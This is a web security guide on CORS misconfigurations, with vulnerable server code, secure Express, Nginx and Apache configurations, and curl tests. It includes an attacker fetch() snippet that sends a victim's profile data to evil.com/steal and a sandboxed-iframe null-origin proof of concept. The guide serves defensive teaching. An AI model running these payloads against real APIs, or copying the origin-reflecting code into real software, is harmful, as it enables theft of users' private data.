CORS Misconfiguration: The Silent Security Risk on Your Website
Cross-Origin Resource Sharing (CORS) is one of the most misunderstood security mechanisms on the web. When configured correctly, it protects your users from cross-origin attacks. When misconfigured, it hands attackers an open door to steal sensitive data from your API. Most developers just add headers until the error goes away — and that is exactly how vulnerabilities are born.
What Is CORS and Why Does It Exist?
Browsers enforce the Same-Origin Policy (SOP), which prevents JavaScript on one origin (e.g., evil.com) from reading responses from another origin (e.g., api.yoursite.com). An "origin" is defined as the combination of scheme, host, and port: https://example.com:443 is a different origin from http://example.com:80.
CORS is the mechanism that relaxes the Same-Origin Policy in a controlled way. When your frontend at app.example.com needs to call your API at api.example.com, the API responds with CORS headers telling the browser "yes, this origin is allowed to read my responses."
The critical point: CORS is not a security feature you add. It is a controlled relaxation of a security feature that already exists. Every CORS header you add makes your API more accessible. The goal is to add the minimum necessary access, not the maximum.
How CORS Works: The Headers
When a browser makes a cross-origin request, it sends an Origin header. The server responds with CORS headers that tell the browser whether to allow the response:
# Request from browser
GET /api/user/profile HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Cookie: session=abc123
# Response from server
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"name": "Alice", "email": "alice@example.com"}
For "non-simple" requests (PUT, DELETE, custom headers, JSON content type), the browser sends a preflight OPTIONS request first:
# Preflight request
OPTIONS /api/user/profile HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization
# Preflight response
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
For a deeper explanation of preflight requests, read our CORS Preflight Requests guide, or see our full CORS Explained for Developers article.
The 5 Most Dangerous CORS Misconfigurations
1. Reflecting the Origin Header Without Validation
This is the most dangerous CORS misconfiguration and it is extremely common. The server blindly copies the Origin header from the request into the Access-Control-Allow-Origin response header:
# Vulnerable server code (Node.js / Express)
app.use((req, res, next) => {
// DANGEROUS: Reflects any origin
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
An attacker hosts a page on evil.com that makes a request to your API. The browser sends Origin: https://evil.com. Your server responds with Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true. The browser allows evil.com to read the response, including the victim's private data, because the server said it was okay.
// Attacker's page on evil.com
fetch('https://api.yoursite.com/api/user/profile', {
credentials: 'include' // Sends victim's cookies
})
.then(r => r.json())
.then(data => {
// Attacker now has victim's profile data
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
2. Wildcard Origin with Credentials
Using Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true is a common mistake. The good news: browsers actually block this combination. The spec explicitly forbids it. The bad news: some developers see the browser error and "fix" it by switching to origin reflection (mistake #1), which is far worse.
# This does NOT work (browser rejects it)
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
# Developers then "fix" it by reflecting the origin - WORSE!
A wildcard origin (*) without credentials is acceptable for truly public APIs that serve no user-specific data. But if your API uses cookies, tokens, or any form of authentication, a wildcard is never appropriate.
3. Null Origin Allowance
Some servers whitelist the null origin, thinking it only applies to local file access. In reality, an attacker can generate a null origin using a sandboxed iframe:
<!-- Attacker's page -->
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://api.yoursite.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.text())
.then(data => parent.postMessage(data, '*'));
</script>
"></iframe>
<!-- The request will have Origin: null -->
Never allow the null origin. It is trivially spoofable from any website.
4. Weak Origin Validation with String Matching
Developers sometimes validate origins using simple string operations that can be bypassed:
# VULNERABLE: Checks if origin ends with "example.com"
if origin.endswith("example.com"):
# Allows evil-example.com, notexample.com, etc.
allow(origin)
# VULNERABLE: Checks if origin contains "example.com"
if "example.com" in origin:
# Allows example.com.evil.com
allow(origin)
# VULNERABLE: Regex without anchoring
if re.match(r"https://.*\.example\.com", origin):
# Allows https://evil.example.com.attacker.com
allow(origin)
The fix is to use an explicit allowlist of exact origins, or properly anchored regular expressions:
# SECURE: Exact allowlist
ALLOWED_ORIGINS = {
'https://app.example.com',
'https://admin.example.com',
'https://staging.example.com'
}
if origin in ALLOWED_ORIGINS:
allow(origin)
# SECURE: Properly anchored regex
if re.match(r'^https://[a-z]+\.example\.com$', origin):
allow(origin)
5. Exposing Sensitive Headers
The Access-Control-Expose-Headers header controls which response headers JavaScript can read. By default, only six "CORS-safelisted" headers are readable. Exposing custom headers like X-Request-Id is fine, but exposing Authorization or Set-Cookie can leak security tokens.
# Be selective about which headers you expose
Access-Control-Expose-Headers: X-Request-Id, X-RateLimit-Remaining
# NEVER expose sensitive headers
# Access-Control-Expose-Headers: Authorization, Set-Cookie <-- DANGEROUS
Test Your CORS Policy Automatically
Our Exposure Checker tests your CORS configuration for all five of these misconfigurations. Find out if your API is vulnerable in seconds.
Run Free Exposure CheckHow to Configure CORS Securely
Express.js (Node.js)
import cors from 'cors';
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
app.use(cors({
origin: (origin, callback) => {
// Allow requests with no origin (server-to-server, curl)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
return callback(null, origin);
}
return callback(new Error('CORS not allowed'), false);
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
maxAge: 86400 // Cache preflight for 24 hours
}));
Nginx
# /etc/nginx/snippets/cors.conf
set $cors_origin "";
if ($http_origin ~* "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
add_header Access-Control-Max-Age 86400 always;
if ($request_method = OPTIONS) {
return 204;
}
For a complete Nginx configuration, use our Nginx Config Generator.
Apache
# .htaccess or Apache config
SetEnvIf Origin "^https://(app|admin)\.example\.com$" CORS_ORIGIN=$0
Header always set Access-Control-Allow-Origin "%{CORS_ORIGIN}e" env=CORS_ORIGIN
Header always set Access-Control-Allow-Credentials "true" env=CORS_ORIGIN
Header always set Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" env=CORS_ORIGIN
Header always set Access-Control-Allow-Headers "Content-Type, Authorization" env=CORS_ORIGIN
Header always set Access-Control-Max-Age "86400" env=CORS_ORIGIN
RewriteEngine On
RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule ^(.*)$ $1 [R=204,L]
Testing for CORS Vulnerabilities
You can test your CORS configuration with curl by spoofing the Origin header:
# Test 1: Does the server reflect arbitrary origins?
curl -s -H "Origin: https://evil.com" -I https://api.yoursite.com/api/endpoint | \
grep -i "access-control"
# If you see Access-Control-Allow-Origin: https://evil.com -- VULNERABLE
# Test 2: Does the server allow null origin?
curl -s -H "Origin: null" -I https://api.yoursite.com/api/endpoint | \
grep -i "access-control"
# Test 3: Check for wildcard
curl -s -I https://api.yoursite.com/api/endpoint | \
grep -i "access-control"
# Test 4: Subdomain bypass
curl -s -H "Origin: https://evil.example.com" -I https://api.yoursite.com/api/endpoint | \
grep -i "access-control"
Or skip the manual testing and use our Exposure Checker, which runs all of these tests automatically and reports the results in a clear dashboard.
CORS vs CSRF: Understanding the Difference
CORS and CSRF are often confused, but they protect against different attacks:
- CORS prevents a malicious site from reading responses from your API. It is enforced by the browser on cross-origin reads.
- CSRF prevents a malicious site from sending authenticated requests to your API. It is enforced by your server using CSRF tokens.
A properly configured CORS policy does not protect against CSRF. An attacker cannot read the response, but they can still send POST requests that trigger state changes (transferring money, changing passwords). You need both CORS and CSRF protection. Read our CSRF Protection Explained guide for implementation details.
Common Mistakes When Debugging CORS
- "I'll just use * and fix it later." Technical debt in security becomes an actual vulnerability. Fix it now. Define your allowed origins explicitly.
- "CORS errors mean my server is broken." CORS errors are the browser protecting your users. The "fix" is not to disable CORS but to configure it correctly for your legitimate origins.
- "I added CORS headers but it still doesn't work." Check that your server handles OPTIONS preflight requests. Many frameworks require explicit OPTIONS route handling.
- "I disabled CORS with a browser extension for development." That only disables it in your browser. Other users are still protected. Use a proxy or configure CORS properly for your development origin (
http://localhost:3000). - "Server-to-server requests don't need CORS." Correct. CORS is a browser-only mechanism. If your API is only called from backends, you do not need CORS headers at all.
Frequently Asked Questions
Can CORS prevent all cross-origin attacks?
No. CORS only prevents cross-origin reads. It does not prevent CSRF attacks (cross-origin writes), XSS, or server-side vulnerabilities. CORS is one layer in a defense-in-depth strategy. You also need CSRF tokens, Content Security Policy headers (build one with our CSP Builder), input validation, and proper authentication. See our Security Headers Guide for the complete set of headers you should deploy.
Is Access-Control-Allow-Origin: * ever safe?
Yes, for truly public resources that contain no user-specific data. A public API that serves weather data, a CDN serving static assets, or a public JSON feed can safely use a wildcard. The key question is: can this response ever contain data that belongs to a specific user? If yes, do not use a wildcard. If the API uses cookies or Authorization headers, definitely do not use a wildcard.
Why does my CORS work in Chrome but fail in Firefox?
Browsers have slightly different CORS implementations. Common causes: Chrome may cache a preflight response longer than Firefox, Chrome may be more lenient with certain header combinations, or a browser extension may be interfering. Always test in multiple browsers and in incognito mode to rule out extensions. Our Exposure Checker tests server-side CORS headers directly, independent of any browser quirks.
Does using a proxy eliminate the need for CORS?
A reverse proxy that serves both your frontend and API from the same origin eliminates the need for CORS entirely, because there are no cross-origin requests. This is often the simplest solution. Nginx can proxy /api/* requests to your backend while serving the frontend from the same domain. Learn how in our Nginx Reverse Proxy Setup guide.
Is Your CORS Policy Secure?
Stop guessing. Our Exposure Checker tests your CORS configuration against all known misconfiguration patterns and tells you exactly what to fix.
Run Free Exposure CheckThe Bottom Line
CORS misconfiguration is one of the most common web vulnerabilities because developers treat CORS errors as an obstacle to remove rather than a security mechanism to configure correctly. Never reflect origins blindly. Never allow null. Use an explicit allowlist of trusted origins. And remember: CORS protects reads, not writes — you still need CSRF protection for state-changing requests.
Related tools and articles: Exposure Checker, CSP Builder, Nginx Config Generator, CORS Explained for Developers, CORS Preflight Requests, CSRF Protection Explained, API Security Best Practices, and 70+ more free tools.